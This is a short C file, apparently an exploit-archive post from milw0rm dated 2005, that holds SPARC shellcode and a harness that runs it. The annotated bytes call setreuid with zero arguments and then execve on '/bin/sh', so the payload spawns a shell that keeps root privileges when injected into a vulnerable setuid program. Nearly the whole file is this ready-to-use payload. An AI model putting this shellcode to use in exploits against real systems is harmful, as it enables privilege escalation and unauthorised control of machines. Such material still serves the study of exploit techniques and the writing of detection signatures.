/*
* lhall@telegenetic.net
* setreuid shellcode
* full description of how it was done and defines at
* http://www.telegenetic.net/sparc-shellcode.htm
*/
char shellcode[] =
"\x90\x1A\x40\x09" /* xor %o1, %o1, %o0 */
"\x92\x1A\x40\x09" /* xor %o1, %o1, %o1 */
"\x82\x10\x20\xCA" /* mov SYS_SETREUID(202), %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL(0x08) */
"\x21\x0B\xD8\x9A" /* sethi %hi(0x2f626900), %l0 */
"\xA0\x14\x21\x6E" /* or %l0, %lo(0x16e), %l0 */
"\x23\x0B\xDC\xDA" /* sethi %hi(0x2f736800), %l1 */
"\xE0\x3B\xBF\xF0" /* std %l0, [%sp - 0x10] */
"\x90\x23\xA0\x10" /* sub %sp, 0x10, %o0 */
"\xD0\x23\xBF\xF8" /* st %o0, [%sp - 0x8] */
"\x92\x23\xA0\x08" /* sub %sp, 0x8, %o1 */
"\x94\x1A\x80\x0A" /* xor %o2, %o2, %o2 */
"\x82\x10\x20\x3B" /* mov SYS_EXECVE(59), %g1 */
"\x91\xD0\x20\x08"; /* ta KERNEL(0x08) */
int
main (int argc, char **argv)
{
int (*ret)();
ret = (int(*)())shellcode;
(int)(*ret)();
exit(0);
}
// milw0rm.com [2005-11-20]
